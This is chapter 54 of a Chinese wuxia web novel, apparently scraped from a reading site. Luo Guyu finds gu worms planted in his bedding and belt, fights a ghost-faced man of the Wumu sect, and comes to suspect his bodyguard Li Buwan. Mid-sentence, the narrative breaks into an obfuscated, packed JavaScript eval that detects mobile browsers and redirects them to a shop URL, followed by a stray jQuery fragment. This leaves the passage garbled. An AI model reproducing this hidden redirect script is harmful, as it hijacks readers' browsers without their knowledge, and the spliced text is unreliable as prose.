默认冷灰
24号文字
方正启体

54. 第54章

作者:唐宋大王本书字数:K更新时间:
    “准备好了吗?”骆骨余问。


    阅了净不情不愿,“师兄,真的要这样吗?”


    “别废话。”早结束早清净。


    阅了净摇头叹气,只得出手,双剑为斩,升起护法的剑气。


    骆骨余于剑气中心打坐,闭了眼睛。


    他慢慢靠近脑海边缘的那条线。


    红线隐隐,骆骨余抬脚踏了过去。无数画面随之解开了锁链,放肆奔腾,噬涌而来。


    骆骨余一霎肌理紧绷,他在脑海意识中极目纵览,很快于万千画面中,抓到了自己想要的那幅。


    骆骨余抬手,将其取了过来。


    随着取用,这幅画面一下在他脑海放大,清晰分明,全在目前。


    脑海空间被大幅占据,骆骨余自己的意识只能游在这幅画面边缘。他小心维持着自我意识不被吞噬,仔细观看这幅放大的画面。


    其他未被取用的画面叫嚣着,不断奔涌叠加,要将他包围吞噬。


    骆骨余以剑气结印,荡出绸带,击退了剩余这些想要吃人的画面。


    “咳。”睁开眼,骆骨余浅咳了两声。


    “师兄,怎么样?”见他醒过来,阅了净连忙问。


    所有画面被重新锁好。


    意识归位,骆骨余起了身,“拿纸笔来。”


    阅了净递上纸笔,担心道:“你这样就是在与虎谋皮。”忍不住告诫他,“见到师父前,万不可再如此了!”阅了净切切嘱咐。


    洞冥丹师兄只服了半颗,还不足以彻底堙灭埋葬那些夺人意识的画面。


    这样一再反复放它们出来取用,实在太危险。


    “无妨。”阅了净絮絮碎语间,骆骨余已写好了一页纸笺,“收好。”


    阅了净闭了嘴,接过。


    瞧清楚上面的内容之后,阅了净又皱着眉开了口道:“这是给黎不晚的?”


    阅了净摇头。这不是给自己找麻烦么?


    不过阅了净没敢说出口,将纸笺收了起来,兀自摇头叹气。


    而他们的保镖黎不晚,此刻正发现了床下有人。


    一滴一滴,带着细微喘息。


    黎不晚往床下一掀,与床底那东西照了一面。


    一颗方形骷髅头,皮肉腐烂,骨骼扭曲,“喝喝”喘息中滴落一地涎水。


    黎不晚一惊,一招凌霄切掌,劈脑而去。


    既然它只吃人的脑子,那它的脑袋应当就是命门。


    然而这东西只与她照面了一霎霎,比闪电还快地,倏忽间就不见了。


    黎不晚劈了个空,轰隆隆雷声大作,窗户“砰”一声开了。


    黎不晚立刻踏上窗棂,追了出去。


    “这什么鬼天气。”阅了净关上被吹开的窗户。


    雷声响过,他问一句:“师兄,烛火要不留着吧?”指指屏风前那一盏。


    骆骨余精神耗损,很是倦了,他在里间道:“随你。”


    床褥齐整,骆骨余躺下。


    扯过薄被,好像有蚂蚁在蹭他的手指。


    骆骨余指节一僵,那感觉又没了。


    他试探地再度扯了下薄被,果然,蚂蚁蹭手的感觉又出现了。


    骆骨余立刻坐起身,一招绵风破雾,撕裂了扔出去的薄被。


    借着烛火,骆骨余模糊看到,薄被里有黑黑的东西掉落出来。


    “师兄!”阅了净马上过来。


    他往地上一看,吓了一跳,“这是什么?”


    黑黑的,像水蛭一样的东西,在地上乱爬。


    听得形容,骆骨余肃了面容。


    他穿上外裳,冷冷道:“阴阳祭蛊。”


    是他们。


    骆骨余系好腰间蹀躞带,打开门。


    而后脚步一顿,缓缓低了头。


    骆骨余腰间的蹀躞带也在蠕动不休——里面竟然也有蛊虫!


    蹀躞带里的蛊虫此刻被唤醒,呈黑漆漆水蛭形状,细齿尖利,已经刺破了布料。


    一旦继续向里,刺破肌肤,蛊虫就会即刻缩小,钻入人体中,再拔不出。


    阅了净眼疾手快,剑起剑落,以剑风扫落了它。


    这是奔着师兄来的。阅了净一脸严肃。


    骆骨余垂了眸。


    他们终于按耐不住了。


    可是,他们是派了谁来做下的这等手脚?


    阅了净已经将房间检查得很仔细了,一丝一毫都亲身试用过,没有倏忽。


    他检查得时候,房中所有一切也都没有任何问题。


    那么,阴阳祭蛊是什么时候被什么人放进被中的?


    还有蹀躞带。


    有谁能近得了师兄的身,还能有机会探入他的怀中,往他怀里塞东西?


    本来阅了净觉得世间绝无可能有此人。但是,此刻他偏偏想到了一个。


    黎不晚。


    看骆骨余面色,他肯定也想到了。


    只有她,为了替林清腾绑伤口,在师兄腰间胡乱摸过。


    阅了净有点不敢相信,“……不可能吧?”


    此时地上乱爬的阴阳祭蛊虫,一下被窗外人牵动,从吹开的窗户飞了出去。


    “世上没有什么不可能。”骆骨余冷冷扔下这句话,拈岚追了出去。


    阅了净起剑穿起一只活蛊虫,点脚跟上方向。


    离开待月院时,他回头往隔壁看了一眼。黎不晚的房间窗牖大开,房内果然没了人。


    蛊虫被牵入一片落羽杉林,而后消失不见。


    茂密的落羽杉笔直如矛,树干刺破水面,高高地延展至夜空。


    其根深扎于湖底,呼吸根蜿蜒湖面,隐约可见盘虬之姿。


    夜漆黑,虫漆黑,水面上游动的落羽杉根须也一片漆黑。


    漆黑中,有两点银色缓缓破出了水面。


    紧接着,一头鹿从水里窜了出来。


    鹿的两只银角带着湿哒哒水汽,闷头向骆骨余顶来。


    鹿身上站立了一个人,几乎与夜色融为一体。


    那人有着一张只有图腾的诡异无比的脸,脸上密密麻麻全是黑色线。


    “鬼面人!”


    阅了净大惊,立刻执剑迎上,出言提醒骆骨余。


    骆骨余耳端微动,“了净!”他荡出绸带,肃声制止阅了净的动作。


    绸带卷了阅了净手腕,往左一偏,险险躲过了鬼面人射出的韧丝。


    阅了净回头,大惊:“他的脸……”


    鬼面人脸上密密麻麻的黑色线条,竟然全部可以剥离脸皮,作为韧丝武器射出来!


    若不是刚才师兄耳明手快,他此时恐怕已被韧丝穿了洞!


    “这是什么邪门功法?”实在可怖。


    说话间,鬼面人阴阴一笑,脸上黑线又“嘶嘶”袭来。


    阅了净跃身躲开,定睛细看,这才看清楚。


    鬼面人脸上的黑色线条,居然全是他自己的头发丝!


    是头发丝嵌入了面庞,爬满之后成了武器。


    阅了净觉得诡异无比,“他这……”


    摸不清鬼面人招式的深浅,阅了净一时间不敢再妄自出招。


    “他这一派,皆以身体做武器。”骆骨余道。


    眼前这个,练的就是自己的头发。


    对他们这一派来说,身体一切部位皆可练。比如腿,比如脚,比如——手掌。


    “这是什么派?”阅了净闻所未闻。


    骆骨余道:“乌墓派。”


    石山王创立的乌墓派。来自域外的乌墓派。


    鬼面人阴恻恻笑了,“你记得就好。”


    腹音浊浊,他缓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278470|194789||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缓升至空中。


    鬼面人准备开大,带走骆骨余。


    骆骨余不急不忙,抬眸道:“我自是记得。”


    记得乌墓派,也记得眼前这个鬼面人的命门在哪儿。


    自从鬼面人在八卦镇初次现了身,骆骨余就时刻做着这个防备了。


    伞骨射出,迎面刺目,伞面化做绸缎,左右相环。


    二者同时出击,双双袭向鬼面人。


    鬼面人一霎被招式环绕,但也只是轻蔑一笑。


    他道:“雕虫小技。”一挥袍,袖袍如大绽青莲,轻松挡了去。


    “你以为,只有你做了准备吗?”鬼面人腹音恻恻。


    然而骆骨余不过是声东击西。


    他缓缓从鬼面人头顶出现,静悄悄肃杀而落。


    骆骨余一招松涛酿月,准备将鬼面人的贼脑酿成豆腐脑。


    可是就在此刻,水中有什么东西炁妄般涌动起来。


    很快地,一群水杉鹿从湖面奔了过来。


    一颗方形骷髅头从水中赫然窜出!


    骷髅头的空空眼眶上挂了一只青绿色的眼球,闪电一照,摄目惊心。


    头鹿窜出水面,有一只手盈盈接住了这颗骷髅头。


    这手轻轻一捏,骷髅头骨碎掉了。青绿色眼球孤零零地,“咕嘟”一声落入了湖中。


    黎不晚正脚踏在头鹿鹿背之上。


    她的头发湿了满脸,浑身滴着水。简直像个刚从地狱里窜出来的鬼一样,就这么突然出现了。


    鬼面人的黑丝重新回到了脸上,他瞧一眼黎不晚,嘻嘻一笑,借此隐遁了身姿。


    阅了净欲追,但根本没有方向。


    放虎归山,定会引来他们更隐蔽地反扑。


    阅了净拧起眉,对黎不晚道:“你干嘛这个时候出来捣乱!”


    要不是黎不晚突然出现,鬼面人现在早就被制服了。


    想到鬼面人刚才说的“准备”,又联系到先前的蛊虫……阅了净心一凛,怀疑道:“你,你该不会……是故意的吧?”


    阅了净不由起了层层心防。


    黎不晚拨开挡住视线的发丝,道:“师弟,你在说什么?”


    她这才看清眼前场面。


    “我说,你是不是故意的?”阅了净看向骆骨余,微顿,又问一句:“她是吗,师兄?”


    他的后一问别有深意,问的乃是黎不晚的身份。


    骆骨余看向黎不晚的头发。


    一片模糊幽云。


    骆骨余没说话。


    黎不晚拧一把湿哒哒的衣裳,解释道:“有人捉弄我。”


    有人弄了个骷髅头,假扮僵尸吓唬她,还一路将她引到了水里,害她搞得一身狼狈。


    黎不晚皱着眉。


    不由得又想到,孟厘明明在她床底放了高颈钟铃,此次为何没有响起?


    难道说,捉弄她的那人,提前知道这一点?


    思索间,听得骆骨余突然问她:“浮雕画像,可是胡永春画的?”


    黎不晚,“啊?”回过神,点点头,道:“是的啊。”不明白他为什么突然问这个。


    骆骨余沉思。


    浮雕画像画的是鬼面人安插在孟家的奸细。可却和传闻中的僵尸一个样貌。且孟家并没有这个人。


    这几点加在一起,此幅画就等于是废画,除了添乱,他们拿着毫无用处。


    不过,对孟家奸细来说,却可以从中得到便利。


    真正的奸细可以借此掩护身份,扰乱众人视线。


    所以,画的来源,就是问题所在。


    如果浮雕画像真是胡永春画的,那就是胡永春有问题。


    如果不是胡永春画的,那么,给骆骨余送上这幅画的人,多半有问题。


    骆骨余瞧向黎不晚。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)